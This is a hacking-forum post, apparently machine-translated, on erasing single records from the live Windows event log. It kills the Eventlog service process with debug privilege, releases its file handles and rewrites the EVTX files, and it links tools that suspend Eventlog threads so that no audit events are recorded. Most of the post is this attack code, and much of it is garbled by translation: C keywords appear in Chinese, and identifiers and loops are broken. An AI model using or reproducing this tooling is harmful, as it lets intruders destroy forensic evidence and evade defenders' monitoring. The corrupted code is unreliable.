跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Windows XML事件日志(EVTX)单条日志清除(三)——通过解除文件占用删除当前系统单条日志记录

精选回复

发布于

0x00 前言

Windows XML事件日志(EVTX)单条日志清除系列文章的第三篇,介绍第一种删除当前系统evtx日志文件单条日志记录的方法:关闭服务对应的进程,释放文件句柄,解除文件占用,删除日志,重启服务

0x01 简介

本文将要介绍以下内容:

通过c程序枚举服务信息,提取事件日志服务对应进程svchost.exe的pid

通过c程序提权关闭事件日志进程

通过c程序释放文件句柄

通过c程序删除单条日志文件

0x02 删除思路

在上篇文章《Windows XML Event Log (EVTX)单条日志清除(二)——程序实现删除evtx文件的单条日志记录》 介绍了删除单条日志记录的方法,但如果直接用来删除当前系统的日志,在打开文件时会报错,提示文件被占用

这是因为当前系统启动日志服务事件日志后,会以独占模式打开日志文件,导致其他进程无法打开该日志文件,也就无法进行修改操作

有以下两种解决方法:

结束日志服务事件日志对应的进程,释放文件句柄,获得修改日志文件的权限

获得日志服务事件日志对应进程中指定日志文件的句柄,利用该句柄实现日志文件的修改

本文将要介绍第一种解决方法,分享在程序实现上的细节,最后开源实现代码

第二种解决方法会在之后的文章进行详细介绍

0x03 获得Eventlog服务对应进程svchost.exe的pid

由于Windows操作系统操作系统系统有多个svchost.exe进程,无法直接搜索进程名《svchost.exe》获得事件日志服务对应的进程pid

查询思路:

枚举当前系统服务,根据服务名称筛选出对应的进程pid

1、通过powershell实现

代码如下:

get-wmio object-Class win32 _ service-Filter ' name=' event log ' ' | select-exp ProcessId

2、通过c++实现

#包括

#杂注注释(lib,' Advapi32.lib ')

DWORD getpid()

{

DWORD PID=0;

SC _ HANDLE scHandle=opensc MANAGER(NULL,NULL,SC _ MANAGER _ ENUMERATE _ SERVICE);

if (scHandle==NULL)

{

printf('[!]OpenSCManager fail(%ld)',GetLastError());

}

其他

{

SC _ ENUM _ TYPE信息级别=SC _ ENUM _ PROCESS _ INFO

DWORD dwServiceType=SERVICE _ WIN32;

DWORD dwServiceState=SERVICE _ STATE _ ALL;

LPBYTE lpServices=NULL

DWORD cbBufSize=0;

需要需要DWORD pcbBytesNeeded

DWORD服务已返回;

LPDWORD lpResumeHandle=NULL

LPCSTR pszGroupName=NULL

BOOL ret=EnumServicesStatusEx(scHandle,infoLevel,dwServiceType,dwServiceState,lpServices,cbBufSize,pcbBytesNeeded,servicesReturned,lpResumeHandle,PSZ组名);

cbBufSize=pcbBytesNeeded

lpServices=新字节[cbBufSize];

if (NULL==lpServices)

{

printf('[!]lpServices=新字节[%ld] - fail(%ld)\n ',cbBufSize,GetLastError());

}

其他

{

ret=EnumServicesStatusEx(scHandle,infoLevel,dwServiceType,dwServiceState,lpServices,cbBufSize,pcbBytesNeeded,servicesReturned,lpResumeHandle,PSZ组名);

LP enum _ SERVICE _ STATUS _ PROCESS lpServiceStatusProcess=(LP enum _ SERVICE _ STATUS _ PROCESS)LP服务;

for(DWORD I=0;我服务返回;我)

{

_ str lwr _ s(lpServiceStatusProcess[I]).lpServiceName,strlen(lpServiceStatusProcess[I]).lpServiceName)1);

if(strstr str(lpServiceStatusProcess[I]).lpServiceName,' eventlog ')!=0)

{

printf('[]服务名:%s\n ',lpServiceStatusProcess[i].lpServiceName);

printf('[ ]PID:%ld\n ',lpServiceStatusProcess[I]。servicestatusprocess。dw processid);

PID=lpServiceStatusProcess[I]。servicestatusprocess。dw processid

}

}

删除[]LP服务;

}

CloseServiceHandle(scHandle);

}

如果(PID==0)

printf('[!]获取事件日志的PID错误\ n’);

返回PID

}

int main(int argc,char *argv[])

{

DWORD PID=getpid();

返回0;

}

0x04 提权关闭Eventlog进程

1、通过powershell实现

执行煤矿管理局命令任务杀手即可

2、通过c++实现

c的代码需要提升权限才能结束进程svchost.exe

#包括

#杂注注释(lib,' Advapi32.lib ')

BOOL启用调试权限

{

BOOL fOk=FALSE

处理托肯

if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hToken))

{

令牌_特权tp

tp .PrivilegeCount=1;

LookupPrivilegeValue(NULL,SE_DEBUG_NAME,tp .权限[0]。luid);

tp .权限[0]。Attributes=fEnable?SE _ private _ ENABLED:0;

AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(tp),NULL,NULL);

fOk=(GetLastError()==ERROR _ SUCCESS);

关闭句柄(hto ken);

}

退货(fOk);

}

DWORD getpid()

{

DWORD PID=0;

SC _ HANDLE scHandle=opensc MANAGER(NULL,NULL,SC _ MANAGER _ ENUMERATE _ SERVICE);

if (scHandle==NULL)

{

printf('[!]OpenSCManager fail(%ld)',GetLastError());

}

其他

{

SC _ ENUM _ TYPE信息级别=SC _ ENUM _ PROCESS _ INFO

DWORD dwServiceType=SERVICE _ WIN32;

DWORD dwServiceState=SERVICE _ STATE _ ALL;

LPBYTE lpServices=NULL

DWORD cbBufSize=0;

需要需要DWORD pcbBytesNeeded

DWORD服务已返回;

LPDWORD lpResumeHandle=NULL

LPCSTR pszGroupName=NULL

BOOL ret=EnumServicesStatusEx(scHandle,infoLevel,dwServiceType,dwServiceState,lpServices,cbBufSize,pcbBytesNeeded,servicesReturned,lpResumeHandle,PSZ组名);

cbBufSize=pcbBytesNeeded

lpServices=新字节[cbBufSize];

if (NULL==lpServices)

{

printf('[!]lpServices=新字节[%ld] - fail(%ld)\n ',cbBufSize,GetLastError());

}

其他

{

ret=EnumServicesStatusEx(scHandle,infoLevel,dwServiceType,dwServiceState,lpServices,cbBufSize,pcbBytesNeeded,servicesReturned,lpResumeHandle,PSZ组名);

LP enum _ SERVICE _ STATUS _ PROCESS lpServiceStatusProcess=(LP enum _ SERVICE _ STATUS _ PROCESS)LP服务;

for(DWORD I=0;我服务返回;我)

{

_ str lwr _ s(lpServiceStatusProcess[I]).lpServiceName,strlen(lpServiceStatusProcess[I]).lpServiceName)1);

if(strstr str(lpServiceStatusProcess[I]).lpServiceName,' eventlog ')!=0)

{

printf('[]服务名:%s\n ',lpServiceStatusProcess[i].lpServiceName);

printf('[ ]PID:%ld\n ',lpServiceStatusProcess[I]。servicestatusprocess。dw processid);

PID=lpServiceStatusProcess[I]。servicestatusprocess。dw processid

}

}

删除[]LP服务;

}

CloseServiceHandle(scHandle);

}

返回PID

}

int main(int argc,char *argv[])

{

DWORD PID=getpid();

如果(pid==0)

{

printf('[!]获取事件日志的PID错误\ n’);

return-1;

}

printf('[]尝试启用调试权限.);

如果(!EnableDebugPrivilege(TRUE))

{

printf('[!]adjusttoken权限失败%d\n ',GetLastError());

return-1;

}

printf(' Done \ n ');

printf('[]尝试打开进程. ');

HANDLE PROCESS HANDLE=open PROCESS(PROCESS _ terminate,FALSE,PID);

if (processHandle==NULL)

{

printf(' Error \ n ');

return-1;

}

printf(' Done \ n ');

printf('[]尝试终止进程. ');

BOOL br esult=终止进程(进程句柄,0);

if (bResult==NULL)

{

printf('[!]Error \ n ');

return-1;

}

printf(' Done \ n ');

返回0;

}

注:

结束事件日志服务对应的进程后,隔一段时间后事件日志服务会自动重启

0x05 释放文件句柄

结束事件日志服务对应的进程后,还需要释放日志文件的句柄,才能够获得文件的修改权限

实现思路:

1.利用NtQuerySystemInformation查询系统句柄信息获得所有进程的句柄信息

2.挑选出日志进程中的所有句柄

3.释放句柄

关键代码如下:

BOOL CloseFileHandle(LPWSTR buf1,DWORD pid)

{

NTSTATUS状态;

psy system _ HANDLE _ INFORMATION句柄信息;

ULONG handleInfoSize=0x10000

HANDLE processHandle=NULL

乌龙一世;

DWORD错误PID=0;

系统_句柄句柄={ 0 };

_ NtQuerySystemInformation NtQuerySystemInformation=(_ NtQuerySystemInformation)GetProcAddress(GetModuleHandleA(' ntdll。dll ')、' NtQuerySystemInformation ');

如果(!NtQuerySystemInformation)

{

printf('[!]在NTDLL中找不到NtQuerySystemInformation入口点. DLL’);

返回0;

}

_ NtDuplicateObject NtDuplicateObject=(_ NtDuplicateObject)GetProcAddress(GetModuleHandleA(' ntdll。“NtDuplicateObject”);

如果(!NtDuplicateObject)

{

printf('[!]在NTDLL中找不到NtDuplicateObject入口点. DLL’);

返回0;

}

_ NtQueryObject NtQueryObject=(_ NtQueryObject)GetProcAddress(GetModuleHandleA(' ntdll。dll ')、' NtQueryObject ');

如果(!NtQueryObject)

{

printf('[!]在NTDLL中找不到NtQueryObject入口点. DLL’);

返回0;

}

HANDLE info=(PSYSTEM _ HANDLE _ INFORMATION)malloc(HANDLE infosize);

while((STATUS=NtQuerySystemInformation(SystemHandleInformation,handleInfo,handleInfoSize,NULL))==STATUS _ INFO _ LENGTH _ MISMATCH)

HANDLE info=(PSYSTEM _ HANDLE _ INFORMATION)realloc(HANDLE info,HANDLE infosize *=2);

如果(!NT_SUCCESS(状态))

{

printf('[!]NtQuerySystemInformation失败!\ n’);

返回0;

}

UNICODE _ STRING对象名

ULONG返回长度

for(I=0;我处理信息-句柄计数;我)

{

handle=handle info-Handles[I];

HANDLE dupHandle=NULL

po object _ TYPE _ INFORMATION对象类型信息=NULL

PVOID objectNameInfo=NULL

如果(处理ProcessId!=pid)

{

自由(对象类型信息);

免费(objectNameInfo);

关闭手柄(dup手柄);

继续;

}

如果(处理ProcessId==ErrorPID)

{

自由(对象类型信息);

免费(objectNameInfo);

关闭手柄(dup手柄);

继续;

}

如果(!(进程句柄=打开进程(进程_ DUP _句柄,FALSE,句柄.ProcessId)))

{

printf('[!]无法打开PID %d!\n ',句柄ProcessId);

错误PID=句柄100 . ProcessId

自由(对象类型信息);

免费(objectNameInfo);

关闭手柄(dup手柄);

关闭句柄(进程句柄);

继续;

}

如果(!NT _ SUCCESS(NtDuplicateObject(进程句柄,(句柄)句柄.Handle,GetCurrentProcess(),dupHandle,0,0,0)))

{

//printf('[%#x]错误!\n ',句柄。手柄);

自由(对象类型信息);

免费(objectNameInfo);

关闭手柄(dup手柄);

关闭句柄(进程句柄);

继续;

}

对象类型信息=(po object _ TYPE _ INFORMATION)malloc(0x 1000);

如果(!NT _ SUCCESS(NtQueryObject(dup handle,ObjectTypeInformation,objectTypeInfo,0x1000,NULL)))

{

//printf('[%#x]错误!\n ',句柄。手柄);

自由(对象类型信息);

免费(objectNameInfo);

关闭手柄(dup手柄);

关闭句柄(进程句柄);

继续;

}

对象名称信息=malloc(0x 1000);

if(is blockinghandle(dup handle)==TRUE)//过滤出NtQueryObject可能挂起的对象

{

自由(对象类型信息);

免费(objectNameInfo);

关闭手柄(dup手柄);

关闭句柄(进程句柄);

继续;

}

关闭手柄(dup手柄);

}

免费(句柄信息);

返回真实的

}

0x06 修改日志文件,删除日志记录

结束事件日志服务对应的进程后,获得了操作日志文件的权限,修改日志文件的方法和c代码可参考上一篇文章《Windows XML Event Log (EVTX)单条日志清除(二)——程序实现删除evtx文件的单条日志记录》

代码参考地址:

https://github.com/3gstudent/Eventlogedit-evtx-进化/blob/master/deleterecordbyterminateprocess。卡片打印处理机(Card Print Processor的缩写)

代码实现了自动获得日志服务的进程,结束进程,释放句柄,修改指定的系统日志文件内容,修改成功后重新启动日志服务

程序测试如图:

1-1.png

更新(2018.7.29)

在开源代码库上看到了另外一种实现思路,地址如下:

https://github。com/360-A-Team/事件清除程序/blob/master/事件清除程序/

值得注意的是日志删除使用了WinAPI EvtExportLog

利用EvtExportLog对日志文件进行过滤,过滤条件为去除某一条日志,这样新生成的文件就是删除单条日志后的文件

优点是不用考虑日志删除的细节,文件格式不会出错,方便高效,并且修改过滤条件可以很容易删除一段时间内的日志

但是存在一点不足:

对于删除日志的后续日志,没有更新EventRecordID

举个简单例子:

Security.evtx下面有10条日志,EventRecordID为1-10,通过EvtExportLog删除第8条日志,第9和第10条日志的EventRecordID不变,仍然为9和10,但是删除后的日志总数为9,EventRecordID依次为1-7,9,10

我的代码中采用的方法虽然能解决这个问题,但是需要考虑很多细节和意外情况,程序实现上比较复杂

所以,我在我的工程中也加入了利用EvtExportLog删除日志的方法,地址如下:

https://github . com/3g student/Eventlogedit-evtx-Evolution/blob/master/deleterecordbyterminateprocessex。卡片打印处理机(Card Print Processor的缩写)

代码实现了自动获得日志服务的进程,结束进程,释放句柄,利用EvtExportLog修改指定的系统日志文件内容,修改成功后重新启动日志服务

程序测试如图:

1-2.png

0x07 其他细节

某些情况下,关闭事件日志进程和重启服务事件日志会产生日志文件,位于system.evtx下,事件身份证明为7034和7036

为了避免生成日志7034和7036,可以通过关闭日志服务的Eventlog线程来关闭日志功能。

关闭日志服务事件日志线程的Powershell实现代码:

https://github.com/hlldz/Invoke-Phant0m

c .关闭日志服务Eventlog线程的实现代码:

https://github.com/3gstudent/Windwos-EventLog-Bypass

介绍细节的分析文章:

《利用API NtQueryInformationThread和I_QueryTagInformation实现对Windwos日志监控的绕过》

在实际应用中,线程通常先被挂起,然后再被恢复。

参考地址:

https://github.com/3gstudent/Eventlogedit-evtx-Evolution/blob/master/suspendorresumetid . CPP

代码支持暂停、恢复和结束日志服务的线程,可以用来关闭和恢复日志。

0x07 小结

介绍了关闭服务对应的进程,释放文件句柄,释放文件占用,删除当前系统单个日志记录的方法。

优化日志功能代码,增加挂起和恢复代码,支持关闭和重启系统日志功能。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。